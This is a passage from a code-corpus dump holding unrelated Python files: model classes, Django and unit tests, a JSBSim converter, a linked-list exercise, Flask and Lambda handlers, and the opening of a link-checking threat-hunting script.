False\n","sub_path":"allowed.py","file_name":"allowed.py","file_ext":"py","file_size_in_byte":2393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"576148402","text":"#!/usr/bin/python3\n\"\"\"This module defines a base class for all models in our hbnb clone\"\"\"\nimport uuid\nfrom datetime import datetime\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column, String, DateTime\n\n_format = \"%Y-%m-%dT%H:%M:%S.%f\"\nBase = declarative_base()\n\n\nclass BaseModel:\n \"\"\"A base class for all hbnb models\"\"\"\n\n # Columns of the table\n id = Column(String(60), primary_key=True)\n created_at = Column(DateTime, nullable=False, default=datetime.utcnow())\n updated_at = Column(DateTime, nullable=False, default=datetime.utcnow())\n\n def __init__(self, *args, **kwargs):\n \"\"\"Instatntiates a new model\"\"\"\n if not kwargs:\n from models import storage\n self.id = str(uuid.uuid4())\n self.created_at = datetime.now()\n self.updated_at = datetime.now()\n # storage.new(self)\n else:\n # set attributes\n for key, value in kwargs.items():\n if key != \"__class__\":\n setattr(self, key, value)\n\n # compare created_at\n if kwargs.get(\"created_at\", None):\n self.created_at = datetime.strptime(\n kwargs[\"created_at\"], _format)\n else:\n self.created_at = datetime.utcnow()\n\n # compare updated_at\n if kwargs.get(\"updated_at\", None):\n self.updated_at = datetime.strptime(\n kwargs[\"updated_at\"], _format)\n else:\n self.updated_at = datetime.utcnow()\n\n # compare id and save new instance\n if kwargs.get(\"id\", None) is None:\n from models import storage\n self.id = str(uuid.uuid4())\n # storage.new(self)\n # this method saves the new object to __objects variable\n # in storage. It does not saves them to the .json file\n\n def __str__(self):\n \"\"\"Returns a string representation of the instance\"\"\"\n cls = (str(type(self)).split('.')[-1]).split('\\'')[0]\n return '[{}] ({}) {}'.format(cls, self.id, self.__dict__)\n\n def save(self):\n \"\"\"Updates updated_at with current time when instance is changed\"\"\"\n from models import storage\n self.updated_at = datetime.now()\n storage.new(self)\n storage.save()\n\n def to_dict(self):\n \"\"\"Convert instance into dict format\"\"\"\n dictionary = {}\n dictionary.update(self.__dict__)\n dictionary.update({'__class__':\n (str(type(self)).split('.')[-1]).split('\\'')[0]})\n dictionary['created_at'] = self.created_at.isoformat()\n dictionary['updated_at'] = self.updated_at.isoformat()\n # remove this key=value only if exists\n if \"_sa_instance_state\" in dictionary:\n dictionary.pop(\"_sa_instance_state\")\n return dictionary\n\n def delete(self):\n \"\"\"Deletes de current object\"\"\"\n from models import storage\n storage.delete(self)\n","sub_path":"models/base_model.py","file_name":"base_model.py","file_ext":"py","file_size_in_byte":3050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"394195289","text":"import unittest, random\n\nfrom django.core.management import call_command\nfrom django.test.client import Client\nfrom django.core.urlresolvers import reverse\n\n#from molly.core.utils import OXFORD_EMAIL_RE\n\nfrom molly.geolocation import reverse_geocode\n\nclass AjaxSetLocationTestCase(unittest.TestCase):\n def setUp(self):\n self.client = Client()\n self.test_url = reverse('geolocation:index')\n \n def testGET(self):\n \"GET should return a 405 Method Not Acceptable\"\n response = self.client.get(self.test_url)\n self.assertEqual(response.status_code, 405)\n \n def testEmptyPOST(self):\n \"An empty POST should return a 400 Bad Request\"\n response = self.client.post(self.test_url)\n self.assertEqual(response.status_code, 400)\n \n def testLocationRequirements(self):\n \"Depending on method, a location should either be required or forbidden.\"\n \n grouped_methods = {\n True: ('html5', 'gears', 'blackberry', 'manual', 'geocoded', 'other'),\n False: ('error', 'denied'),\n }\n \n for require_location, methods in grouped_methods.items():\n for method in methods:\n response = self.client.post(self.test_url, {\n 'method': method,\n 'latitude': 0,\n 'longitude': 0,\n })\n expected_code = require_location and 200 or 400\n self.assertEqual(response.status_code, expected_code)\n \n response = self.client.post(self.test_url, {\n 'method': method,\n })\n expected_code = require_location and 400 or 200\n self.assertEqual(response.status_code, expected_code)\n \n def testAccuracy(self):\n \"accuracy implies location\"\n \n response = self.client.post(self.test_url, {\n 'method': 'other',\n 'latitude': 0,\n 'longitude': 0,\n 'accuracy': 10,\n })\n self.assertEqual(response.status_code, 200)\n \n response = self.client.post(self.test_url, {\n 'method': 'other',\n 'accuracy': 10,\n })\n self.assertEqual(response.status_code, 400)\n \n \n\nclass CoreTestCase(unittest.TestCase):\n def setUp(self):\n self.client = Client()\n \n def testSetLocationManually(self): \n test_locations = (\n 'Keble College', 'OX26NN', 'Germany', 'Antartica', '51 4',\n '12 Banbury Road, Oxford', 'W1A 1AA', 'dago;gns', 'OX1',\n )\n \n location = random.choice(test_locations)\n \n response = self.client.get('/geolocation/', {\n 'location': location\n })\n \n self.assertEqual(response.status_code, 200,\n \"Unexpected status code: %d\" % response.status_code)\n \n self.assertTrue(len(response.context['options']) > 0,\n \"Update location should return at least one option for location '%s'.\" % location)\n \n option = response.context['options'][0]\n \n base_args = {\n 'title': option[0],\n 'latitude': option[1][0],\n 'longitude': option[1][1],\n 'accuracy': option[2],\n }\n \n response = self.client.post('/geolocation/', dict(base_args,\n no_redirect='true',\n ))\n self.assertEqual(response.status_code, 200)\n \n response = self.client.post('/geolocation/', base_args, follow=True)\n self.assertEqual(response.redirect_chain, [(u'http://testserver/', 303)])\n \n response = self.client.post('/geolocation/', dict(base_args,\n return_url='http://foo.bar/',\n ), follow=True)\n self.assertEqual(response.redirect_chain, [(u'http://foo.bar/', 303)])\n \n \n #def testOxfordEmailRegex(self):\n # oxford_addresses = (\n # 'bob.builder@estates.ox.ac.uk',\n # 'jeremy.kyle@naff-tv.ox.ac.uk',\n # 'barry.bookworm@oup.com',\n # \n # )\n # non_oxford_addresses = (\n # 'ingrid.imposter@fake.sox.ox.ac.uk',\n # 'couch.potato@coup.com',\n # 'james@hotmail.com',\n # )\n # \n # for address in oxford_addresses:\n # self.assert_(OXFORD_EMAIL_RE.match(address),\n # \"%s didn't match as an Oxford e-mail address when it should.\" % address)\n # for address in non_oxford_addresses:\n # self.assert_(not OXFORD_EMAIL_RE.match(address),\n # \"%s matched as an Oxford e-mail address when it shouldn't.\" % address)\n \nclass GeocodingTestCase(unittest.TestCase):\n def testReverseGeocode(self):\n points = [(51.758504,-1.256055)]\n for point in points:\n reverse_geocode(*point)","sub_path":"molly/apps/home/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":4899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"126898032","text":"\"\"\"\nUniversity of Minnesota\nAerospace Engineering and Mechanics - UAV Lab\nCopyright 2019 Regents of the University of Minnesota\nSee: LICENSE.md for complete license details\n\nAuthor: Louis Mueller, Chris Regan\n\"\"\"\n\nimport os.path\nimport numpy as np\n\nimport JSBSimWriteXml as JSBXml\n\n# Constants\nft2m = 0.3048\nm2ft = 1.0/ft2m\n\n\n#%% Aircraft Inputs\naircraftName = 'Talon'\naeroName = aircraftName + '_DegenGeom'\n\n# JSB Output\nsaveJsbPath = os.path.join('..', 'Simulation')\nsaveJsbPath = os.path.abspath(os.path.join(saveJsbPath, 'aircraft', aircraftName))\n\n# VSP Input\nload = {}\nload['Aero'] = {}\nload['Aero']['aircraftName'] = aircraftName\nload['Aero']['aeroName'] = aeroName\nload['Aero']['vspPath'] = os.path.abspath(os.path.join('..', 'AeroDefinitions', 'OpenVSP'))\n\n\n# Load Aircraft oFdm data\nimport Talon\noFdm = Talon.LoadAircraftDef(load)\n\n# FIXIT - Increase the base Drag\naddedDrag = np.zeros_like(oFdm['Aero']['Coef']['CD']['zero'])\noFdm['Aero']['Coef']['CD']['total'] += addedDrag\noFdm['Aero']['Coef']['CD']['zero'] += addedDrag\n\n\n#%%\nimport matplotlib.pyplot as plt\n\ncond = 'beta_rad'\ncoef = 'dCMn'\ndep = 'dElev_rad'\n\nnumB, numV, numA = oFdm['Aero']['Coef']['CL']['zero'].shape\n\nxPlot = oFdm['Aero']['Cond'][cond][:,:,1]\nyPlot = oFdm['Aero']['Coef'][coef][dep][:,:,1]\n\nplt.plot(xPlot, yPlot, '-*')\n\n\n#%% Prepare JSBSim-ML data (oFdm -> JSB)\n# Define Conversion from oFdm to JSB-ML\nconvertFdm2Jsb = {}\n\n# Surface Names, JSBSim names must match with Servo models and FCS system definition\nconvertFdm2Jsb['Surf'] = {}\nconvertFdm2Jsb['Surf']['oFdm'] = ['d' + s + '_rad' for s in oFdm['Aero']['surfNames']]\nconvertFdm2Jsb['Surf']['jsb'] = ['fcs/pos' + s + '_rad' for s in oFdm['Aero']['surfNames']]\nconvertFdm2Jsb['Surf']['scale'] = [None] * len(convertFdm2Jsb['Surf']['oFdm'])\n\n# Aero Deriv dependencies definitions\nconvertFdm2Jsb['Dep'] = {}\nconvertFdm2Jsb['Dep']['oFdm'] = ['alpha_rad', 'beta_rad', 'dpHat_rps', 'dqHat_rps', 'drHat_rps'] + convertFdm2Jsb['Surf']['oFdm']\nconvertFdm2Jsb['Dep']['jsb'] = ['aero/alpha-rad', 'aero/beta-rad', 'velocities/p-aero-rad_sec', 'velocities/q-aero-rad_sec', 'velocities/r-aero-rad_sec'] + convertFdm2Jsb['Surf']['jsb']\nconvertFdm2Jsb['Dep']['scale'] = [None, None, 'aero/bi2vel', 'aero/ci2vel', 'aero/bi2vel'] + convertFdm2Jsb['Surf']['scale']\n\nconvertFdm2Jsb['Coef'] = {}\nconvertFdm2Jsb['Coef']['oFdm'] = ['zero']\n\n# Aero Table defintions\nconvertFdm2Jsb['TableDef'] = {}\nconvertFdm2Jsb['TableDef']['jsb'] = ['aero/beta-deg', 'velocities/vt-fps', 'aero/alpha-deg']\nconvertFdm2Jsb['TableDef']['brkPts'] = [oFdm['Aero']['TableDef']['betaBrkPts_deg'], oFdm['Aero']['TableDef']['vBrkPts_mps'] * m2ft, oFdm['Aero']['TableDef']['alphaBrkPts_deg']]\n\n\n#%% Create the XML\nJSBXml.Aircraft(oFdm, convertFdm2Jsb, saveJsbPath, aircraftName)\n","sub_path":"Utilities/Talon_to_JSBSim.py","file_name":"Talon_to_JSBSim.py","file_ext":"py","file_size_in_byte":2770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"215204495","text":"# By: Riasat Ullah\n# This file contains tests for Task objects.\n\nfrom tests import test_variables\nfrom utils import logging, var_names\nimport unittest\n\n\nclass TestTask(unittest.TestCase):\n\n def test_to_dict(self):\n logging.info('Testing task to dict...')\n logging.info('Test 1')\n expected_outcome = {**{var_names.task_id: 3}, **test_variables.test_task_details}\n expected_outcome = {**expected_outcome,\n **{var_names.assignees: [\n test_variables.test_user_assignee_1.to_dict(),\n test_variables.test_user_assignee_2.to_dict()\n ]}}\n self.assertEqual(test_variables.test_task.to_dict(), expected_outcome)\n","sub_path":"tests/objects/test_task.py","file_name":"test_task.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"73742904","text":"from abc import abstractmethod, ABCMeta\nfrom time import time\nfrom copy import deepcopy\nfrom os import urandom\nfrom binascii import hexlify\n\n\nclass Account:\n def __init__(\n self,\n client_id,\n username,\n email,\n password,\n consumers,\n is_email_confirmed,\n is_banned,\n creation_ts,\n last_authentication_ts\n ):\n \"\"\"\n @type client_id str\n @type username str\n @type email str\n @type password str\n @type consumers list of Consumer\n @type is_email_confirmed bool\n @type is_banned bool\n @type creation_ts int\n @type last_authentication_ts int or False\n \"\"\"\n self.client_id = client_id\n self.username = username\n self.email = email\n self.password = password\n self.consumers = consumers\n self.is_email_confirmed = is_email_confirmed\n self.is_banned = is_banned\n self.creation_ts = creation_ts\n self.last_authentication_ts = last_authentication_ts\n\n def find_consumer_by_access_token(self, access_token):\n for consumer in self.consumers:\n if consumer.access_token == access_token:\n return consumer\n\n return None\n\n def create_consumer(self, description='', tags=None, seconds_to_expire=False, scopes=None):\n consumer = Consumer(\n description=description,\n tags=tags if tags is not None else [],\n access_token=hexlify(urandom(16)),\n creation_ts=int(time()),\n seconds_to_expire=seconds_to_expire,\n scopes=scopes if scopes is not None else []\n )\n self.consumers.append(consumer)\n return consumer\n\n def remove_consumer_by_access_token(self, access_token):\n consumers = []\n for consumer in self.consumers:\n if consumer.access_token != access_token:\n consumers.append(consumers)\n self.consumers = consumers\n\n\nclass Consumer:\n def __init__(\n self,\n description,\n tags,\n access_token,\n creation_ts,\n seconds_to_expire,\n scopes\n ):\n self.description = description\n self.tags = tags\n self.access_token = access_token\n self.creation_ts = creation_ts\n self.seconds_to_expire = seconds_to_expire\n self.scopes = scopes\n\n def is_expired(self):\n return self.seconds_to_expire is not False and int(time()) >= self.creation_ts + self.seconds_to_expire\n\n\nclass AccountRepository:\n __metaclass__ = ABCMeta\n\n @abstractmethod\n def find_by_email(self, email):\n \"\"\"\n @type email str\n @rtype: Account or None\n \"\"\"\n\n @abstractmethod\n def find_by_username(self, username):\n \"\"\"\n @type username str\n @rtype: Account or None\n \"\"\"\n\n @abstractmethod\n def find_by_client_id(self, client_id):\n \"\"\"\n @type client_id str\n @rtype: Account or None\n \"\"\"\n\n @abstractmethod\n def find_by_consumer_access_token(self, consumer_access_token):\n \"\"\"\n @type consumer_access_token str\n @rtype: Account or None\n \"\"\"\n\n @abstractmethod\n def add(self, account):\n \"\"\"\n @type account Account\n @rtype: bool\n \"\"\"\n\n @abstractmethod\n def update(self, account):\n \"\"\"\n @type account Account\n @rtype: bool\n \"\"\"\n\n @staticmethod\n def _plain_account(account):\n account = deepcopy(account)\n consumers_data = []\n\n for consumer in account.consumers:\n consumers_data.append(consumer.__dict__)\n\n account.consumers = consumers_data\n return account.__dict__\n","sub_path":"apy_users/entities.py","file_name":"entities.py","file_ext":"py","file_size_in_byte":3787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"62546335","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jul 7 12:19:33 2018\n\n@author: Shubham Pathak\n\"\"\"\n\nimport time\nimport re\n\nclass dateS:\n def __init__(self, add = ''):\n self.add = add\n self.name = ''\n self.loc = ''\n self.ext = ''\n \n def forFig(self):\n self.loc = '/home/pi/buoy-codes/graphs/'\n self.ext = '.jpg'\n \n def forText(self):\n self.loc = '/home/pi/buoy-codes/manual_hover_datalog/datalog/'\n self.ext = '.xlsx'\n \n def dateStamp(self):\n t = time.ctime(time.time())\n pattern = r\":\" # : -> this was making the file name invalid\n t = re.sub(pattern,\"-\",t) #so replaced it with a hyphen and bingo it worked\n self.name = str(self.loc + self.add + t + self.ext)\n return (self.name)\n\nif __name__=='__main__':\n dt = dateS()\n dt.forText()\n name = dt.dateStamp()\n print(name)\n \n","sub_path":"manual_hover_datalog/textFileName.py","file_name":"textFileName.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"446711889","text":"from __future__ import print_function\n\"\"\"\n Prompt 2.2 : Python - Return Kth to Last\n Implement an algorithm to find the Kth to last element of a singly linked list.\n\nEX: \n Node: 0->01->02->03->04->05 \n Input: 1->10->30->14->3->37, index = 2 = 30\n Output: 30 \n The node at index 2 is 30\n\n Example - https://www.geeksforgeeks.org/write-a-function-to-get-nth-node-in-a-linked-list/\n Video Watched - https://www.youtube.com/watch?v=Ast5sKQXxEU\n Site Using - https://www.tutorialspoint.com/python/python_linked_lists For Linked Listed in Python\n\"\"\"\n\nprint(\"2.2\")\n\n\"\"\"\nclass Node\n This class is used for LinkedList, its the the core to the list.\n As this is the structure needed to create the list of nodes (self).\n\"\"\"\nclass Node:\n # Class Constructor\n def __init__(self, data_value, next_node=None):\n self.data = data_value\n self.next_node = next_node\n\n # get_next - Getter\n # Sends the pointer to the next node\n def get_next(self):\n return self.next_node\n\n # set_next_node - Setter\n # Sets the node current node to point at the next node passed in\n def set_next_node(self, new_node):\n self.next_node = new_node\n\n # get_data - Getter\n # Sends the data of the current Node\n def get_data(self):\n return self.data\n\n # set_data - Setter\n # Sets the passed in data to the current Node\n def set_data(self, new_data):\n self.data = new_data\n\n\n\"\"\"\nclass LinkedList\n This class is a data structure to create a list of Node class which is called a LinkedList.\n Because all the nodes connect to one another. \n\"\"\"\nclass LinkedList (object):\n # Class Constructor\n def __init__(self, root_node=None):\n self.root = root_node\n self.size = 0\n\n # get_size - Getter\n # Returns the Current Size of the LinkedList\n def get_size(self):\n return self.size\n\n # add_new_node - Add\n # Adds a new node to the LinkedList, adds to the End\n def add_new_node(self, new_data):\n print(\"Adding :\", new_data)\n\n new_node = Node(new_data, self.root) # Create New Node\n self.root = new_node # adds a New Node in Line\n self.size += 1\n\n # remove_node - Remove\n # Removes the passed in node number from the LinkedList\n def remove_node(self, node_to_remove):\n print(\"Removing :\", node_to_remove)\n\n current_node = self.root # Grabs Root Node\n previous_node = None # Previous Node is Created set to null\n\n if current_node is not None: # checks root node is not null\n if current_node.get_data() == node_to_remove: # checks if root node is node to remove\n self.root = current_node.get_next() # set root node to next node\n current_node = None # clears old root node\n print(node_to_remove, \"Was Found & Removed\")\n return True\n\n while current_node: # Loop Though list\n if current_node.get_data() == node_to_remove: # checks if current node is node to remove\n if previous_node:\n previous_node.set_next_node(current_node.get_next()) # sets previous node to next node\n else:\n self.root = current_node # sets root node to current node\n self.size -= 1\n print(node_to_remove, \"Was Found & Removed\")\n return True # data is removed\n else:\n previous_node = current_node # Increments previous node\n current_node = current_node.get_next() # Increments current node\n\n print(node_to_remove, \"Does not Exist\")\n return False # data was not found/removed\n\n # find_node\n # Finds the passed in node and returns its Data\n def find_node(self, data_to_find):\n print(\"Finding: \", data_to_find)\n\n current_node = self.root\n\n while current_node:\n if current_node.get_data() == data_to_find:\n return data_to_find\n else:\n current_node = current_node.get_next()\n\n return None\n\n # print_list\n # Prints all the Nodes in the list, Start to End\n def print_list(self):\n print(\"\\nPrinting LinkedList Nodes\")\n print(\"--------------------------\")\n\n current_node = self.root\n node_count = 0\n\n while current_node:\n print(\" Node Count\", node_count, \":\", current_node.get_data())\n current_node = current_node.get_next()\n node_count += 1\n\n print(\"--------------------------\\n\")\n\n # Removes Duplicates\n # Searches LinkedList and Removes all Duplicate Nodes\n def remove_duplicates(self):\n print(\"Removing all Duplicates\")\n current_node = self.root\n\n while current_node: # Loops through list\n dup_search = current_node.get_next() # increments dup_search to 1 node ahead\n while dup_search: # Loops though dup_search\n if current_node.get_data() == dup_search.get_data():\n self.remove_node(current_node.get_data()) # Removes dup Node\n dup_search = dup_search.get_next() # increments dup_search to 1 node ahead\n current_node = current_node.get_next() # increments current_node to 1 node ahead\n\n # return_k_th_to_last\n # Takes in a index to move to and returns the said data at that location\n def return_k_th_to_last(self, index_to_move):\n if index_to_move <= self.size: # If index is out of the size return generic out of range msg\n current_node = self.root\n\n for x in range(0, index_to_move): # Loops through list\n current_node = current_node.get_next()\n\n print(\"The node at index\", index_to_move, \"is\", current_node.get_data())\n return True\n else:\n print(\"The index\", index_to_move, \"does not exist in the Linked List\")\n return False\n\n\nprint(\"\\nStarting Program\\n\")\n\nmyList = LinkedList()\n\nmyList.add_new_node(1)\nmyList.add_new_node(2)\nmyList.add_new_node(4)\nmyList.add_new_node(3)\nmyList.add_new_node(4)\nmyList.add_new_node(6)\nmyList.add_new_node(5)\nmyList.add_new_node(4)\n\nmyList.print_list()\n\nmyList.return_k_th_to_last(2)\nmyList.return_k_th_to_last(99)\n\nmyList.print_list()\n\nprint(\"\\nEnd of Program\")\n\n","sub_path":"CTCI/C-2/2.2.py","file_name":"2.2.py","file_ext":"py","file_size_in_byte":6379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"370250445","text":"import json\nimport boto3\nimport decimal\nfrom boto3.dynamodb.conditions import Key, Attr\nfrom botocore.exceptions import ClientError\n\n# Helper class to convert a DynamoDB item to JSON.\nclass DecimalEncoder(json.JSONEncoder):\n def default(self, o):\n if isinstance(o, decimal.Decimal):\n if o % 1 > 0:\n return float(o)\n else:\n return int(o)\n return super(DecimalEncoder, self).default(o)\n\ndynamodb = boto3.resource('dynamodb', region_name='us-east-1', endpoint_url=\"https://dynamodb.us-east-1.amazonaws.com\")\ntable = dynamodb.Table('ourecs_artists')\n\n\ndef lambda_handler(event, context):\n \n body = json.loads(event['body'])\n \n try:\n response = table.put_item(\n Item={\n 'name': body['name'],\n 'albums': []\n }\n )\n \n responseMessage = \"artist \" + body['name'] + \" successfully added\"\n \n return {\n 'statusCode': 200,\n 'body': responseMessage\n }\n except ClientError as e:\n response = e\n return {\n 'statusCode': 500,\n 'body': json.dumps(e)\n }\n \n\n\n\n ","sub_path":"ourecs_addArtist.py","file_name":"ourecs_addArtist.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"311643057","text":"# coding=utf-8\nimport tensorflow as tf\nimport numpy as np\n\n\ndef read_batch(lines, is_one_hot):\n batch_size = len(lines)\n label_list = []\n ids = []\n sp_indices = []\n weight_list = []\n for i, line in enumerate(lines):\n label, indices, values = parse_line_for_batch_for_libsvm(line, is_one_hot)\n label_list.append(label)\n ids += indices\n # sp_indices = np.array([[i, index] for index in indices])\n for index in indices:\n sp_indices.append([i, index])\n weight_list += values\n if is_one_hot:\n label_list = np.reshape(label_list, (batch_size, 2))\n else:\n label_list = np.reshape(label_list, (batch_size, 1))\n return label_list, \\\n sp_indices, \\\n weight_list, \\\n # lablelist,id_list,\n\n\ndef parse_line_for_batch_for_libsvm(line, is_one_hot):\n value = line.decode(\"ascii\") .split(\" \")\n if is_one_hot:\n if value[0] == \"1\":\n label = [1, 0]\n else:\n label = [0, 1]\n else:\n label = value[0]\n indices = []\n values = []\n for item in value[1:]:\n [index, value] = item.split(':')\n # if index start with 1, index = int(index)-1\n # else index=int(index)\n index = int(index) - 1\n value = float(value)\n indices.append(index)\n values.append(value)\n return label, indices, values\n\n#\n# def parse_line_for_batch_for_libsvm2(line):\n# value = line.value.split(\" \")\n# label = []\n# label = value[0]\n# indices = []\n# values = []\n# for item in value[1:]:\n# [index, value] = item.split(':')\n# # if index start with 1, index = int(index)-1\n# # else index=int(index)\n# index = int(index) - 1\n# value = float(value)\n# indices.append(index)\n# values.append(value)\n# return label, indices, values\n\n\n# label:label fo data\n# indices: the list of index of featue\n# indices: the value of each features\n#\n# def main():\n# trainset_files = [\"/Volumes/Macintosh HD/Users/cyliu/PycharmProjects/fi\"]\n# print (trainset_files)\n# train_filename_queue = tf.train.string_input_producer(trainset_files)\n# train_reader = tf.TextLineReader()\n# key_tensor, line_tensor = train_reader.read(train_filename_queue)\n# train_data_batch_tensor = tf.train.shuffle_batch(\n# [line_tensor],\n# batch_size=12,\n# capacity=30,\n# min_after_dequeue=12\n# )\n# sess = tf.Session()\n# coord = tf.train.Coordinator()\n# threads = tf.train.start_queue_runners(sess=sess, coord=coord)\n# lines = sess.run(train_data_batch_tensor)\n# for i, line in enumerate(lines):\n# print(line)\n# try:\n# for i in range(1, 2):\n# label, indices, sparse_indices, weight_list, read_count = read_batch(sess, train_data_line, 10)\n# print (label)\n# except tf.errors.OutOfRangeError:\n# print 'Done training -- epoch limit reached'\n# finally:\n# coord.request_stop()\n# coord.join(threads)\n# sess.close()\n#\n#\n# if __name__ == '__main__':\n# main()\n","sub_path":"selftf/tf_job/classification/read_libsvm_data.py","file_name":"read_libsvm_data.py","file_ext":"py","file_size_in_byte":3110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"45455321","text":"\nfrom flask_restful import Resource, reqparse\nfrom flask_jwt import jwt_required\nfrom models.store import StoreModel\n\nclass Store(Resource):\n\n parser = reqparse.RequestParser()\n parser.add_argument('store_id',\n type=int,\n required=True,\n help=\"This should be provided!\") \n\n @jwt_required()\n def get(self , name):\n store= StoreModel.find_by_name(name)\n if store:\n return store.json()\n else:\n return {\"message\":\"No record Found\"} , 404\n \n @jwt_required()\n def post(self , name):\n result = StoreModel.find_by_name(name)\n if result:\n return {'message':'An item with name {} already exist.'.format(name)} , 400\n\n data = Store.parser.parse_args()\n store = StoreModel(name)\n try:\n store.save_to_db()\n except:\n return {\"message\":\"An exception has occured\"},500\n return store.json(), 201\n\n\n def put(self, name):\n data = Store.parser.parse_args()\n store = StoreModel.find_by_name(name)\n if store is None:\n store = StoreModel(name)\n else:\n store.price = data['price']\n store.save_to_db()\n return store.json()\n\n\n def delete(self, name):\n store = StoreModel.find_by_name(name)\n if store:\n store.delete_from_db()\n return {\"message\":\"Deleted Succefully\"}\n \n\n\n \nclass StoreList(Resource):\n def get(self):\n return {\"items\":[store.json() for store in StoreModel.query.all()]}","sub_path":"resources/store.py","file_name":"store.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"328179414","text":"'''\n66. Plus One\nEasy\n\nGiven a non-empty array of digits representing a non-negative integer, plus one to the integer.\n\nThe digits are stored such that the most significant digit is at the head of the list, and each element in the array contain a single digit.\n\nYou may assume the integer does not contain any leading zero, except the number 0 itself.\n\nExample 1:\n\nInput: [1,2,3]\nOutput: [1,2,4]\nExplanation: The array represents the integer 123.\n\nhttps://leetcode.com/problems/plus-one/\n'''\nclass Solution:\n def plusOne(self, digits: List[int]) -> List[int]:\n i, k = len(digits)-1, 1\n while k and i >=0 :\n digits[i] += 1\n if digits[i] == 10:\n digits[i] = 0\n else:\n k = 0\n i-=1\n if digits[0] == 0:\n digits = [1] + digits\n return digits\n","sub_path":"plus_one_66.py","file_name":"plus_one_66.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"555978152","text":"\"\"\"Begin license text (for otherwise unlicensesd content)\nThe MIT License (MIT)\n\nCopyright 2020 Angry Security LLC. All Rights Reserved.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy \nof this software and associated documentation files (the \"Software\"), to deal \nin the Software without restriction, including without limitation the rights \nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell \ncopies of the Software, and to permit persons to whom the Software is \nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS \nOR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\nEnd license text.\"\"\"\n\n\n\"\"\"Begin license text (for useage of Python Requests & Requests-html libraries)\nThe MIT License (MIT)\n\nCopyright 2018 Kenneth Reitz\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\nEnd license text.\"\"\"\n\n\n\"\"\"Begin license text (for useage of Python Selenium libraries)\nCopyright 2020 Software Freedom Conservancy (SFC)\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\nEnd license text.\"\"\"\n\n\n\n#banner & usage\nprint('*****************************************')\nprint('****************wham.py******************')\nprint('*****************************************')\nprint('info: open-source threat hunting tool used to monitor static web page content for risk associated with embedded HTML hyperlinks and absolute URLs')\nprint()\nprint('*****************************************')\nprint()\n\n#import libs\nimport requests\nfrom requests_html import HTMLSession\nfrom selenium import webdriver\nimport time\nimport sys\nimport urllib3\n\n#disable SSL cert warning \nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n#config VT params \napi_key=''\nvturl = 'https://www.virustotal.com/vtapi/v2/url/report'\n\n#config Requests & Requests-html User-Agent to reflect Chrome\nhdrs = {'User-Agent': 'Chrome/70.0.3538.77'}\n\n#input: user provided static url/web page\nurl = input('Enter the URL of the static webpage (e.g. https://www.angrysecurity.com): ')\nprint()\nprint('-----> Ok, you entered:', url)\nprint()\n\n#fn: user continuance check\ndef carryon():\n\tyorn = input('>---------------Continue? (enter \\\"y/n\\\"): ')\n\tif yorn != 